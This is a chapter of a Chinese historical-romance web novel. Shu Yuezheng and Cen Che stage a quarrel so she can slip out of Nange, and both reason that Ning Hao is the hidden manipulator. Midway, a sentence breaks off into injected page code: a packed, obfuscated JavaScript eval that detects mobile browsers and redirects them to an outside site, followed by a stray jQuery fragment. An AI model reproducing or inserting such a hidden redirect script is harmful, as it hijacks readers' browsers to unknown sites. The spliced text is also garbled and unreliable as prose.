日头正好,鸟雀安逸,忽而一阵高声怒喝打破和谐,群鸟慌忙振翅略过檐下,引得檐铃轻响。
卧房里传来了格外激烈的争吵声,此起彼伏,管家小厮乃至祁晖都匆匆而至。
“不管你愿不愿意,如今你我都已然是一体的,倘若你心中还挂念着其他事宜,我劝你最好还是早早收回这些想法。”岑澈的声音是前所未有的冷峻,眼神落在书越筝身上,静若寒潭。
“你……”书越筝修长指节指向岑澈,整张脸都涨得通红,像是被面前人气得不轻,支支吾吾半天只气得咬着牙一字一句叫他的名字,“岑子霁!”
书越筝怒视岑澈,声音依旧平静无波,他轻抬眼睫,表情淡漠地唤了她的名字:“书越筝。”
“好,真是太好了!”书越筝怒极反笑,嗤笑一声道,“这亲谁爱结谁结,我不干了!”
卧房门紧闭着,听着房内动静管家诸人面面相觑,不知该不该上前阻拦,分明之前一直如胶似漆的二人,为何一转眼就变成了如今这副模样。
正在门前犹豫踌躇时,便见书越筝怒发冲冠地一把拉开房门,目光在诸人面前逡巡一圈,怒喝道:“都看什么?!起来!”
话毕风风火火头也不回地离开了卧房,房门被她甩得吱呀作响,众人心头一悸,不知该作何表情,管家看着岑澈,面色为难道:“公子,这……”
“任她去!”岑澈坐在原地,甚至都未曾向房门处瞥上一眼,“圣旨尚在,我就不信她不回来。”
诸人对上视线,这才三三两两撤了下去。
卧房重回寂静,岑澈坐在原地手指交叠,略显不安地点了点手指,
大约半个时辰前。
“不若你我试一下,看看我的猜测是真是假。”
书越筝言毕,便不再开口。自从巧娘失踪后,她便始终在南阁四周打转。当时靖德给的纸条甚至还没来得及读,她本欲入宫与皇帝商讨燕地一事也不了了之。而后就是岑澈倏尔恢复记忆又受伤,岑澈伤势稍微好一些,给二人赐婚的圣旨又匆匆而至。
一切俨然一副要将她困在南阁的模样。
她绝不能再这样继续坐以待毙,那莫名字迹善恶不明,背后操纵者心机深重且目的不明。她至少得出去看看,再不济也得将乘月带在身边,顺便看看能不能联系到靖德旧部。
她第一次见到那行字迹便是雨夜里接岑澈回南阁,由此观之,那行字迹最直白的目的便是要让她与岑澈和睦相处。所以与岑澈争执一场是最简单直白的验证猜想与破局之法,若是她与岑澈争执不休,将婚约之类的悉数推翻,恐怕背后之人就会露出马脚。
虽说她的一言一行如今完全被人监视着,但她与岑澈的默契已然日久,就算她不直说,几个眼神动作想来岑澈也会明白她想做什么,因而实施这个计划算不得太难。
思及此处,书越筝向岑澈伸出手掌缓缓握拳,指尖向上比了一的手势,随后两次浅闭双眼又不疾不徐睁开,又收回了手掌。
帘卷微风,几缕拂入室内,她的动作一如当年,岑澈只瞬间就明白了她的意思。
那是年中秋,老管家在房中支了口锅子,南阁人本就不多,算上祁晖小厮几人,勉勉强强也能围坐一桌。府中的小厮都是当年岑澈巡游时沿途救下的流亡孩童,他本意是将这群孩子带回来给他们取些银两,岂料他们却都不想离开南阁,已经算是半个家人,大家一起分享彼此的趣事,那除夕也颇有趣味。只是祁晖却独独坐在原地,一言不发。书越筝见状心下了然,岑澈兄长于祁晖,如同岑澈于南阁诸人,救命之恩,挚友之谊,一夕失去,愈到团圆愈感伤怀。
岑澈也略带忧虑地转身望了眼祁晖,他薄唇微启似是要竭力开口,最终却也没能说出什么,或许就连他自己都还没对兄长的死释怀。
书越筝将这一切收入眼底,莫名想起自己的家人,鼻头一酸。然只瞬间,她便咬咬牙扯着嘴角笑了起来:“今天这种团圆的日子,我们不妨寻些乐事吧!我们每个人都讲个故事,大家来判断真假如何?”
“这样,我先来。”
女子伸出手掌,微微合成拳,食指向上。
“这样就是假话。”
话毕她又将指节向下。
“如果是这样,就是真话。”
那时的书越筝天马行空地讲了很多个趣事,逗得哄堂大笑。但其实每个故事都算不得是真的,有些还牵扯到了岑澈,她便会向岑澈眨眨眼,示意他帮自己圆谎。
而此刻,当这样的手势跨越生死两世又一次出现在面前,岑澈心中还是会泛起波澜,他很轻地向她点点头。
“师父。”书越筝向他很轻地眨了眨眼睛。
“明白。”
下一刻,就见扶着他的书越筝暴跳如雷一跃而起:“你什么意思?!”
“我就是这个意思。”岑澈很少与书越筝这样直白争执,一时还把握不好火候,下意识脱口而出的话也没什么威慑力。
书越筝怒目圆瞪地望着他,很轻地挑了下眉头示意他快些接话。鲜少见到她这幅模样,岑澈见状心头没由来涌上几分笑意,险些溢到唇畔时,却被他连忙压了下去。
此通假模假样的争执过后,书越筝成功地离开了南阁。岑澈坐在床榻,认真地将近些日子所有诡异的事情在脑海里悉数思索一遍。
在他尚未恢复前世的回忆时,有人递给他一封信。如今再想,怕是为了让书越筝能够在听春楼与他惊鸿一瞥。二人调查巧娘之事,已经查到蓟州时,巧娘忽而失踪,连带着三皇子郑知彦也随之不见。
似乎有一双无情的手在背后推动一切,而它的目的似乎只是不让书越筝与郑知彦见面。
为什么呢?
岑澈掌握着前世今生的双重回忆,他前世虽未直接见到书越筝弑帝,可她来月疏宫见他时那把沾满鲜血的剑却那般刺眼。
这背后之人的目的似乎是在阻止书越筝杀人?
前世的事情旁人如何得知?
岑澈眉头紧锁,指尖不住摩挲袖口,心绪不住沉了几分,巧娘消失后,在街巷中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233870|181531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书越筝的玩笑又浮现在脑海,那时的她抿着唇开口道:“师父,你说这事情像不像有人追着我们啊。”
恢复记忆、抗旨不遵、赶赴南阁、夜雨杖刑、彻夜陪伴……最后是赐婚。
它有意在用自己困住书越筝!
岑澈的动作一刹那僵在原地,瞳孔紧锁,喉间微微滚动,他垂下眼睫继续向下思索。
既然如此,这一切的受益者是谁?
受益者是谁?
书越筝走出南阁,步履轻巧。遑论背后之人是谁,搞了这么多事情,甚至开始违背常理让靖德变成如今这幅长眠不醒的模样,最终的目的恐怕是为了让她书越筝无法继承兵权。
她若掌兵,谁会害怕?
被她斩杀的匈奴王子、郑知彦、苏望瑾。
若是再大胆些推测,前世今生,她若掌兵,谁会最害怕?
书越筝看着近在咫尺的书府牌匾,思绪通透的一瞬,目光也刹那间如静水般再无慌乱波澜。
是宁皓。
没错,是宁皓。
思及此处书越筝心口骤然染上几分憋闷,她缓缓弯起唇角。
在蓟州与宁皓相处的日子里,她彻底收起了那份岑澈面前的孩子气。不仅她明白宁皓是个彻头彻尾的坏种,与此同时,宁皓也明白她绝非等闲之辈。
若是有人同她结仇,即使是不择手段她也会报复回去。正如当年对书毓桢与书家,那时的她带着书毓桢的尸体回了书府,书向丘被她气得一蹶不振,书方沁入宫,书溯夏于学宫未回,原夫人被她囚禁。趁着书向丘缠绵病榻之际,也是她端着一碗毒药,遣人左右开弓给他硬生生灌了下去。
书向丘当场暴毙,她便借势承了书家家主之位,那书向丘草草下葬,好不狼狈。
前世,宁皓在她身后一言不发地目睹了这一切。
思及此处,书越筝噗嗤一声笑了出来,跨进了书府大门,行至新竹院。
“姑娘你回来了!”见她归来,乘月匆匆忙忙迎了上来,“你这几天怎么样?赐婚的圣旨也送到了府中,主母寻了你几次,我推脱过去了,姑娘别忧心。”
“我没事的,只是在南阁里陪师父待了几天。”书越筝弯唇宽慰般笑笑,“谢谢你,乘月。”
“姑娘怎得看着这般没精神,可用过午饭了?”乘月跟在她身侧,温声问道。
“还没有。”
“那我现在就去为姑娘准备,姑娘先休憩片刻。”话毕,乘月迈着大步离开了。
待她走远了,书越筝才意识到自己此刻正正行至天井之中,她抬眸透过那四方砖瓦望向不远处的湛蓝天色。
伤春悲秋的寂寥心绪未起,她便想起了自己破门而出前岑澈握着她手腕的模样,带了薄茧的指节擦过她腕间肌肤,他的目光里尽数是不容亵渎的纯粹与信任。
书越筝指尖摩挲着手腕,弯弯唇角走向靖德房中。想到岑澈,她的心也在一瞬间被填得满满当当,她忽而明白自己今生并不是孤身作战。
岑澈还在南阁等她。